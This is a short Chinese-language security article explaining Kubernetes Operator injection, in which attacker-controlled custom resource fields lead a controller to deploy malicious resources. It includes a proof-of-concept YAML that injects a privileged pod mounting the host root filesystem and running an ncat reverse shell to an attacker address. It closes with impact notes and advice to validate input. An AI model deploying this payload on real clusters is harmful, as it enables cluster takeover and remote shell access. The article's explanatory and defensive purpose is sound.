Kubernetes 将 Operator 描述为 Kubernetes 的软件扩展,使用自定义资源来管理应用程序以及其组件,这些 Operator 通过与一个或者多个自定义资源 定义相关联的自定义控制器,实现了对应用程序资源的自动化部署和管理。当攻击者能够控制自定义资源某些字段数据时,这就为自定义控制器提供了一个潜在的攻击面。攻击者可以通过注入恶意数据来欺骗自定义控制器,使其创建恶意的Kubernetes资源。
Kubernetes Operator 注入的核心本质和传统安全的注入体系(命令/代码/SQL注入等)相似,只不过换成未经验证的用户输入被自定义控制器处理,攻击者可以操纵自定义资源中的数据,使自定义控制器使用这些数据构建一个恶意的 YAML 文件,并通过该 YAML 文件部署恶意资源。
若攻击者可以操作自定义资源 KubeArmorPolicy 中 name 字段数据,经过攻击者构造恶意的输入,最后形成类似如下的资源配置信息, ---
称为 YAML 的文档开始标记/指令结束标记。
#exp-pod.yaml
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: aabbcc
---
apiVersion: v1
kind: Pod
metadata:
name: exp-pod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: exp-pod
image: raesene/ncat
command: ["/bin/sh", "-c", "--"]
args: ["ncat --ssl &ip 12345 -e /bin/bash;"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
volumes:
- name: noderoot
hostPath:
path: /
---
namespace: multiubuntu
spec:
selector:
matchLabels:
group: group-1
process:
matchPaths:
- path: /bin/sleep
action:
Block
当自定义控制器处理这个自定义资源时,便会触发恶意负载 创建恶意资源。
报错不用管
此类漏洞的利用可能导致在底层 Kubernetes 集群上部署任意的 Kubernetes 资源。攻击的影响范围取决于控制器被授予的权限以及其能够访问和管理的资源的敏感性。
和传统 web 安全一样,所有用户提供的数据在被应用程序处理之前应进行验证。